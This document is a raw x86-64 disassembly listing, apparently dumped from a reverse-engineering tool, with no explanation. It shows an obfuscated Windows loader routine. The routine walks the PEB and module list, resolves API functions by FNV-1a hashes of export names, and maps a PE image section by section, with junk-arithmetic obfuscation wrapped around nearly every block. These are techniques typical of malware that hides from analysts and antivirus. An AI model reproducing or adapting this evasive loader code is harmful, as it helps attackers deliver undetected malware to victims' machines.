popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x1d0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x108]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x108]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2d8], rax
mov eax, 0xdf2ab5d5
pushf
not eax
add eax, 0xc2c91ea0
xor eax, 0xc3f89aca
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xa7952ad8
xor eax, 0x856bbd40
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xc8790acd
xor eax, 0xbefa9e5d
rol eax, 0xa
popf
pushf
not eax
add eax, 0xda963b50
xor eax, 0xfcb1fe7b
rol eax, 0xa2
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2d8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x228], rax
mov eax, dword [rsp + 0x228]
mov rcx, qword [rsp + 0x108]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x148], rax
mov eax, dword [rsp + 0x22c]
mov dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x140]
cmp qword [rsp + 0x148], rax
je 0x140056924
push rax
pushf
mov eax, 0xb0930065
pushf
not eax
add eax, 0xada08e93
xor eax, 0x95961cfa
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xbf4c5490
xor eax, 0xa482a043
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x9731ce1a
xor eax, 0xb2ebcc30
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xa786a491
xor eax, 0xcde40e2e
rol eax, 0xe8
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xd96698ef
pushf
not eax
add eax, 0xb4152900
xor eax, 0x9e1731de
rol eax, 2
popf
pushf
not eax
add eax, 0xfd4abe41
xor eax, 0xbbe10e93
rol eax, 0xc
popf
pushf
not eax
add eax, 0xdbe080d5
xor eax, 0x88473bd4
rol eax, 0xbd
popf
jmp 0x1400550cb
mov dword [rsp + 0xd0], 1
jmp 0x140056a24
mov dword [rsp + 0xd0], 0
push rax
pushf
mov eax, 0x9e5401b5
pushf
not eax
add eax, 0xe79d342d
xor eax, 0x83b0442e
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xe9b0071a
xor eax, 0xe454e25d
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xe1f847ab
xor eax, 0xc430e514
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xf9943778
xor eax, 0xb88fb81d
rol eax, 0x73
popf
jmp 0x1400550cb
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x140056a70
push rax
pushf
mov eax, 0xcc045998
pushf
not eax
add eax, 0x809827b7
xor eax, 0x8dd3d765
rol eax, 0xea
popf
pushf
not eax
add eax, 0x9f62744b
xor eax, 0x997c8765
rol eax, 0xe9
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xba9314e9
pushf
not eax
add eax, 0xfd36608b
xor eax, 0xad09de45
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xe9032510
xor eax, 0xc2a5d060
rol eax, 0x6b
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x17c], eax
mov eax, dword [rsp + 0x5c]
jmp 0x140056ac2
dec eax
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x17c], 0
je 0x140056b09
push rax
pushf
mov eax, 0x12808fba
pushf
not eax
add eax, 0x92310ea2
xor eax, 0xf4ac436d
rol eax, 0x13
popf
pushf
not eax
add eax, 0x9c906025
xor eax, 0xb07c0743
rol eax, 0xee
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xa674363e
pushf
not eax
add eax, 0xea7eb070
xor eax, 0xb0472f43
rol eax, 0x21
popf
pushf
not eax
add eax, 0xcf5897fd
xor eax, 0xe6bdeddf
rol eax, 0xbd
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x40c]
mov dword [rsp + 0xd4], eax
movabs rax, 0x2bfd0d528cebe405
pushf
not rax
add rax, 0x57c48170
xor rax, 0x6f3ce3bd
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x55bb8959
xor rax, 0x5de96c22
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x5b52dff6
xor rax, 0x63d5434f
rol rax, 0xd
popf
shr rax, 0x20
mov dword [rsp + 0xd4], eax
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x140]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x5c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x230], rax
movabs rax, 0x4ab22340100e93fa
pushf
not rax
add rax, 0x7ffbc424
xor rax, 0x5b18a636
rol rax, 0x56
popf
pushf
not rax
add rax, 0x6ea47dbe
xor rax, 0x70534e81
rol rax, 0x55
popf
pushf
not rax
add rax, 0x490e232e
xor rax, 0x5584ec72
rol rax, 0xf0
popf
mov ecx, 0x8ca1eac2
pushf
not ecx
add ecx, 0xc9a52683
xor ecx, 0xba5f3dc4
rol ecx, 0x85
popf
pushf
not ecx
add ecx, 0x9c41d2f4
xor ecx, 0xf3cf4082
rol ecx, 0x2e
popf
pushf
not ecx
add ecx, 0xeb514275
xor ecx, 0xa9670e4e
rol ecx, 0x65
popf
and rax, rcx
mov dword [rsp + 0x180], eax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x1c8], rax
mov eax, dword [rsp + 0xd4]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x1c8]
movzx eax, byte [rax]
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x1c8]
inc rax
mov qword [rsp + 0x1c8], rax
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140056d22
push rax
pushf
mov eax, 0x524b1063
pushf
not eax
add eax, 0x9aafa8b2
xor eax, 0xdd9bb5e4
rol eax, 0x29
popf
pushf
not eax
add eax, 0xd3d5cf20
xor eax, 0xeeadbbfa
rol eax, 0x23
popf
pushf
not eax
add eax, 0xd57f3d2a
xor eax, 0xf6c56cb8
rol eax, 0x32
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xc9fa767f
pushf
not eax
add eax, 0xad849b64
xor eax, 0xe5ffa88b
rol eax, 0x48
popf
pushf
not eax
add eax, 0xdabcfc3d
xor eax, 0xa0dcb9f4
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd27b6ea9
xor eax, 0xdc290d46
rol eax, 0xe
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x184], eax
jmp 0x140056f59
xor eax, eax
test eax, eax
je 0x140056e0d
push rax
pushf
mov eax, 0xe3deb5ae
pushf
not eax
add eax, 0x8a710734
xor eax, 0x8ffa6382
rol eax, 0x44
popf
pushf
not eax
add eax, 0xb4c1ec8a
xor eax, 0x87b36a6b
rol eax, 0xde
popf
pushf
not eax
add eax, 0xa7638329
xor eax, 0xff3c0cc7
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xc457006b
xor eax, 0xbf03f8db
rol eax, 0xb5
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xe61cdee2
pushf
not eax
add eax, 0x84186c5b
xor eax, 0xc7510834
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x9b785536
xor eax, 0x8489719f
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x9ff7116d
xor eax, 0x962b1059
rol eax, 0x8f
popf
jmp 0x1400550cb
movsx eax, byte [rsp + 0x30]
or eax, 0x20
mov dword [rsp + 0xd8], eax
jmp 0x140056eec
movsx eax, byte [rsp + 0x30]
mov dword [rsp + 0xd8], eax
push rax
pushf
mov eax, 0x581d09d6
pushf
not eax
add eax, 0xf8247c86
xor eax, 0xfa5e20ca
rol eax, 0x11
popf
pushf
not eax
add eax, 0x9f13285f
xor eax, 0xfb1873ac
rol eax, 0x2c
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0xd8]
mov ecx, dword [rsp + 0xa8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xa8], eax
jmp 0x140056ca8
mov eax, dword [rsp + 0x180]
cmp dword [rsp + 0x184], eax
jne 0x140056f9c
push rax
pushf
mov eax, 0x95b9519c
pushf
not eax
add eax, 0x906e95da
xor eax, 0xee3a6be8
rol eax, 0x56
popf
pushf
not eax
add eax, 0xb1a033d9
xor eax, 0xbc07100d
rol eax, 0x2e
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xf3a37a43
pushf
not eax
add eax, 0x8575cbf7
xor eax, 0xc8a9d1f1
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xfdd392e1
xor eax, 0xf769bba9
rol eax, 0x82
popf
pushf
not eax
add eax, 0x9bf7efb6
xor eax, 0xbede371d
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xc84ae500
xor eax, 0xa3a3d8b9
rol eax, 0x7f
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x2e0], rax
mov eax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x2e0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2e8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x140]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x1d8], rax
jmp 0x14005721f
jmp 0x140056ab2
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x2f8]
mov rax, qword [rax]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x1d0], rax
mov byte [rsp + 0x36], 1
movzx eax, byte [rsp + 0x36]
test eax, eax
jne 0x14005719a
push rax
pushf
mov eax, 0xbf9ac055
pushf
not eax
add eax, 0xc4b0aa3d
xor eax, 0x9a15402d
rol eax, 0xda
popf
pushf
not eax
add eax, 0x84e1805a
xor eax, 0xc4ccdc99
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xae8eee4c
xor eax, 0xd836335e
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8231ed13
xor eax, 0xae9206ed
rol eax, 0x25
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x69e4b826
pushf
not eax
add eax, 0x9a0405d7
xor eax, 0xb2a07d9f
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x8dd99666
xor eax, 0x81f8ed99
rol eax, 0xd8
popf
jmp 0x1400550cb
mov qword [rsp + 0x1d8], 0
push rax
pushf
mov eax, 0x4e6483c8
pushf
not eax
add eax, 0x8a26a956
xor eax, 0xd8a2f165
rol eax, 0
popf
pushf
not eax
add eax, 0xd5fa85b5
xor eax, 0x9fb41bef
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xb28c40bc
xor eax, 0xfdd5959e
rol eax, 0x7c
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x188]
mov dword [rsp + 0x18c], eax
mov ecx, dword [rsp + 0x18c]
jmp 0x140057235
call qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x50]
mov r8d, 0xcc072c6a
pushf
not r8d
add r8d, 0x92f50b51
xor r8d, 0xad227eed
rol r8d, 0xa8
popf
pushf
not r8d
add r8d, 0xeccf9e11
xor r8d, 0xe82e7048
rol r8d, 0xcd
popf
pushf
not r8d
add r8d, 0xfc7959ce
xor r8d, 0x876757d3
rol r8d, 0x6a
popf
pushf
not r8d
add r8d, 0xa921bb5a
xor r8d, 0xb5edc23d
rol r8d, 0xc2
popf
mov edx, eax
mov rcx, qword [rsp + 0x78]
call fcn.140161c88
mov qword [rsp + 0xe8], 0
jmp 0x140057383
mov rax, qword [rsp + 0xe8]
add rax, 0x1000
mov qword [rsp + 0xe8], rax
push rax
pushf
mov eax, 0x29cfc783
pushf
not eax
add eax, 0xeb2260cb
xor eax, 0xe730423c
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc9c59e12
xor eax, 0xb2fe1775
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x8804fa55
xor eax, 0xa39663aa
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd4f99083
xor eax, 0x9eecc1b5
rol eax, 0x6e
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xe8], rax
jae 0x1400573cb
push rax
pushf
mov eax, 0x5884676
pushf
not eax
add eax, 0xdf7078ee
xor eax, 0x8a7f2b58
rol eax, 0x98
popf
pushf
not eax
add eax, 0xd95c6d0c
xor eax, 0xabe8d5f2
rol eax, 0x8c
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xf3d24973
pushf
not eax
add eax, 0xd2a740b1
xor eax, 0xa65b1732
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xee3da2a5
xor eax, 0xce7d834b
rol eax, 0x5d
popf
jmp 0x1400550cb
mov ecx, 0xe501566d
pushf
not ecx
add ecx, 0xebc737f1
xor ecx, 0xcf0e775a
rol ecx, 0x3d
popf
pushf
not ecx
add ecx, 0xf4fabdc8
xor ecx, 0xbbc14ae4
rol ecx, 0xa9
popf
jmp 0x14005742e
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x238], rax
mov rdi, qword [rsp + 0x238]
xor eax, eax
mov ecx, 0x6b9581ed
pushf
not ecx
add ecx, 0xc2cc8794
xor ecx, 0xc2b22393
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xf4205f62
xor ecx, 0x980a74ef
rol ecx, 0x22
popf
pushf
not ecx
add ecx, 0x9fd54879
xor ecx, 0xc188f414
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0x82a5b0c4
xor ecx, 0x9f49e5e1
rol ecx, 0xb7
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x78]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0x4024632
pushf
not r8d
add r8d, 0xf4e93156
xor r8d, 0xa80330c7
rol r8d, 0xb4
popf
pushf
not r8d
add r8d, 0xbda2d627
xor r8d, 0xbecbb9c8
rol r8d, 0x60
popf
pushf
not r8d
add r8d, 0xabd4ba0c
xor r8d, 0x91383d9f
rol r8d, 0x3a
popf
pushf
not r8d
add r8d, 0xe05613d2
xor r8d, 0x8869bdcb
rol r8d, 0x1e
popf
mov rdx, qword [rsp + 0x238]
mov rcx, rax
call fcn.1400815da
jmp 0x140057314
mov r8d, 0x97a256
pushf
not r8d
add r8d, 0xec81cb21
xor r8d, 0xb24ffbd3
rol r8d, 0xf3
popf
pushf
not r8d
add r8d, 0x95ba312d
xor r8d, 0xfcef73fe
rol r8d, 0xc0
popf
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x78]
call fcn.1400815da
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x1f0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x1e8], rax
push rax
pushf
mov eax, 0x8ec54864
pushf
not eax
add eax, 0xbef712be
xor eax, 0xef2fbf2c
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xd71855a4
xor eax, 0xd422be79
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa3e3b2ca
xor eax, 0xb2af0128
rol eax, 0xe
popf
pushf
not eax
add eax, 0xa0c4ef8f
xor eax, 0x8be45a3f
rol eax, 0x47
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0xf0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xf0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x320], rax
mov eax, 0x58bd6fe1
pushf
not eax
add eax, 0xc0ec0f35
xor eax, 0xb9ed9da6
rol eax, 0x31
popf
pushf
not eax
add eax, 0xfc65aa8e
xor eax, 0xf67a0717
rol eax, 0x5f
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x320]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x240]
mov rcx, qword [rsp + 0xf0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x160], rax
mov eax, dword [rsp + 0x244]
mov dword [rsp + 0x168], eax
mov rax, qword [rsp + 0x158]
cmp qword [rsp + 0x160], rax
je 0x1400577a0
push rax
pushf
mov eax, 0xff5caca5
pushf
not eax
add eax, 0xb3a065d0
xor eax, 0x9418d710
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xad288ce1
xor eax, 0xd6f43a9b
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa68b612a
xor eax, 0xdda8fdc4
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xa112f645
xor eax, 0xbf99d3d1
rol eax, 0x20
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xc6ec01b4
pushf
not eax
add eax, 0xa090b1e0
xor eax, 0xcb432d3b
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xdc0b7da9
xor eax, 0xf160f066
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xef31d5d6
xor eax, 0xd3a8ec14
rol eax, 0x30
popf
pushf
not eax
add eax, 0xb2a7c536
xor eax, 0xae8e474f
rol eax, 0x9f
popf
jmp 0x1400550cb
mov dword [rsp + 0xdc], 1
jmp 0x1400578b3
mov dword [rsp + 0xdc], 0
push rax
pushf
mov eax, 0xd225a95e
pushf
not eax
add eax, 0x9951eff0
xor eax, 0x83c528cd
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x8ad61c3b
xor eax, 0xebab4cf6
rol eax, 0x14
popf
pushf
not eax
add eax, 0x8540aec3
xor eax, 0xfc9d303e
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xa14cac3a
xor eax, 0x8a4c427d
rol eax, 0x81
popf
jmp 0x1400550cb
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x37], al
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x140057912
push rax
pushf
mov eax, 0x8d15f48c
pushf
not eax
add eax, 0xb7a0b1f7
xor eax, 0xb3fb8730
rol eax, 0xab
popf
pushf
not eax
add eax, 0xf56b9dd0
xor eax, 0xd05779d2
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xe598cdbb
xor eax, 0xa64572cb
rol eax, 0xae
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x96b880e1
pushf
not eax
add eax, 0xeb24c296
xor eax, 0xc01119dd
rol eax, 0x31
popf
pushf
not eax
add eax, 0xcf640fe6
xor eax, 0x8b1e8233
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xbbc8a18e
xor eax, 0xa2927c21
rol eax, 2
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
jmp 0x140057977
dec eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x190], 0
je 0x1400579d1
push rax
pushf
mov eax, 0x7cf84e56
pushf
not eax
add eax, 0xdc555475
xor eax, 0xd4b02a26
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x8cd0ce8c
xor eax, 0x87c8a45e
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xa6cbd442
xor eax, 0xce0a80c8
rol eax, 0xb9
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xbaa8338a
pushf
not eax
add eax, 0xee23ed1f
xor eax, 0xdfd09e7c
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xf67ded30
xor eax, 0x802d993b
rol eax, 0xb3
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x408]
mov dword [rsp + 0xe0], eax
movabs rax, 0x624708edd952fc0d
pushf
not rax
add rax, 0x56b868e3
xor rax, 0x4a00b776
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x690fbfb8
xor rax, 0x70c45ab7
rol rax, 2
popf
pushf
not rax
add rax, 0x666ea58b
xor rax, 0x4e5b8526
rol rax, 0x42
popf
shr rax, 0x20
mov dword [rsp + 0xe0], eax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x158]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x50]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x248], rax
movabs rax, 0xb7473b0dabd6d920
pushf
not rax
add rax, 0x63d8f8cf
xor rax, 0x768bc4e2
rol rax, 0x79
popf
pushf
not rax
add rax, 0x66b7929d
xor rax, 0x59effe2f
rol rax, 6
popf
mov ecx, 0x6c9b4ba8
pushf
not ecx
add ecx, 0xc2d71590
xor ecx, 0xc19d88aa
rol ecx, 0x6d
popf
pushf
not ecx
add ecx, 0xd5569dea
xor ecx, 0xf2d3150a
rol ecx, 0xda
popf
and rax, rcx
mov dword [rsp + 0x194], eax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x1e0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x1e0]
inc rax
mov qword [rsp + 0x1e0], rax
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x31], al
movsx eax, byte [rsp + 0x31]
test eax, eax
jne 0x140057bd1
push rax
pushf
mov eax, 0x23085955
pushf
not eax
add eax, 0x82743cb7
xor eax, 0xfd06fa34
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xd14d15cb
xor eax, 0xa6eb90c5
rol eax, 0xf
popf
pushf
not eax
add eax, 0x96d57d29
xor eax, 0x820ed6a6
rol eax, 0xc
popf
pushf
not eax
add eax, 0xd959ef6c
xor eax, 0x9d20d11c
rol eax, 0xd3
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x340f322a
pushf
not eax
add eax, 0xb801377e
xor eax, 0x85c4bf7f
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xc505f981
xor eax, 0x98ffc0b6
rol eax, 0xdc
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x198], eax
jmp 0x140057de2
xor eax, eax
test eax, eax
je 0x140057c96
push rax
pushf
mov eax, 0x9f570a50
pushf
not eax
add eax, 0xd4ffaffe
xor eax, 0xb24aa3d7
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x9c710b87
xor eax, 0xf11350ca
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x986785ae
xor eax, 0xb1dcd50e
rol eax, 0xc0
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x59aaebcc
pushf
not eax
add eax, 0x852a309d
xor eax, 0xb7ce47b3
rol eax, 0x44
popf
pushf
not eax
add eax, 0xc1dc6281
xor eax, 0xda08b53e
rol eax, 0x99
popf
pushf
not eax
add eax, 0xaf508bb1
xor eax, 0xbcfd427e
rol eax, 0xf2
popf
jmp 0x1400550cb
movsx eax, byte [rsp + 0x31]
or eax, 0x20
mov dword [rsp + 0xe4], eax
jmp 0x140057d88
movsx eax, byte [rsp + 0x31]
mov dword [rsp + 0xe4], eax
push rax
pushf
mov eax, 0x50ac365e
pushf
not eax
add eax, 0xb2a06bb3
xor eax, 0xa5d35592
rol eax, 0x74
popf
pushf
not eax
add eax, 0xd9b9debe
xor eax, 0x9d4d9c46
rol eax, 0xe5
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0x88]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x88], eax
jmp 0x140057b44
mov eax, dword [rsp + 0x194]
cmp dword [rsp + 0x198], eax
jne 0x140057e4b
push rax
pushf
mov eax, 0xb8a614
pushf
not eax
add eax, 0x90b7046a
xor eax, 0xf5bcbd71
rol eax, 0x75
popf
pushf
not eax
add eax, 0xa3902125
xor eax, 0xc31ae833
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xe9527403
xor eax, 0x8440d5e6
rol eax, 0x69
popf
pushf
not eax
add eax, 0x932a7c64
xor eax, 0xf325d108
rol eax, 0xf3
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x6c4ec773
pushf
not eax
add eax, 0xac24378d
xor eax, 0xf8fe6d48
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xbafae52f
xor eax, 0xa2367493
rol eax, 0x48
popf
pushf
not eax
add eax, 0x9f802bff
xor eax, 0xb2fe18ee
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x90d6af4f
xor eax, 0xbcd0bbfd
rol eax, 0xa3
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x160]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x328], rax
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x328]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x330]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x158]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x1f0], rax
jmp 0x1400580f4
jmp 0x140057967
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov rax, qword [rax]
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x1e8], rax
mov byte [rsp + 0x39], 1
movzx eax, byte [rsp + 0x39]
test eax, eax
jne 0x140058036
push rax
pushf
mov eax, 0xb4642c85
pushf
not eax
add eax, 0x80b49615
xor eax, 0xdf8a0de3
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xab13ac02
xor eax, 0xcd3f0b91
rol eax, 0x25
popf
pushf
not eax
add eax, 0xd7b6cfe0
xor eax, 0xe2cc3328
rol eax, 0x62
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x20d93bb
pushf
not eax
add eax, 0xdced8e1c
xor eax, 0xfc39d809
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xd3a078c7
xor eax, 0x8681352f
rol eax, 0x18
popf
pushf
not eax
add eax, 0xf26446af
xor eax, 0xc4abe76f
rol eax, 0x29
popf
pushf
not eax
add eax, 0xc252f393
xor eax, 0x9f2ca3c2
rol eax, 0xe7
popf
jmp 0x1400550cb
mov qword [rsp + 0x1f0], 0
push rax
pushf
mov eax, 0xd618c08c
pushf
not eax
add eax, 0xf5a5209e
xor eax, 0xab4e2737
rol eax, 0x30
popf
pushf
not eax
add eax, 0x908dedf8
xor eax, 0xc8286bd9
rol eax, 0xab
popf
pushf
not eax
add eax, 0x96bfad31
xor eax, 0xe18491eb
rol eax, 0x42
popf
pushf
not eax
add eax, 0xc2348774
xor eax, 0xcb812430
rol eax, 0x22
popf
jmp 0x1400550cb
mov ecx, 0xb9d2eb9a
pushf
not ecx
add ecx, 0xbff2860a
xor ecx, 0xd6a9515b
rol ecx, 0xb0
popf
pushf
not ecx
add ecx, 0xb35c39ca
xor ecx, 0xe68d2fef
rol ecx, 0xc6
popf
pushf
not ecx
add ecx, 0xf2c594aa
xor ecx, 0x9833d5a1
rol ecx, 0xe7
popf
jmp 0x140058139
call qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x8c], 0
jmp 0x14005822c
mov eax, dword [rsp + 0x8c]
jmp 0x1400581bc
inc eax
mov dword [rsp + 0x8c], eax
mov rax, qword [rsp + 0x48]
add rax, 0x28
mov qword [rsp + 0x48], rax
push rax
pushf
mov eax, 0x16b301e8
pushf
not eax
add eax, 0xf34a3bc5
xor eax, 0xaf03e2c6
rol eax, 0x21
popf
pushf
not eax
add eax, 0x83916ad3
xor eax, 0xdffe3604
rol eax, 0xd
popf
pushf
not eax
add eax, 0xf637bad0
xor eax, 0x845463c4
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xfdfcb4df
xor eax, 0xbc7ea346
rol eax, 0x30
popf
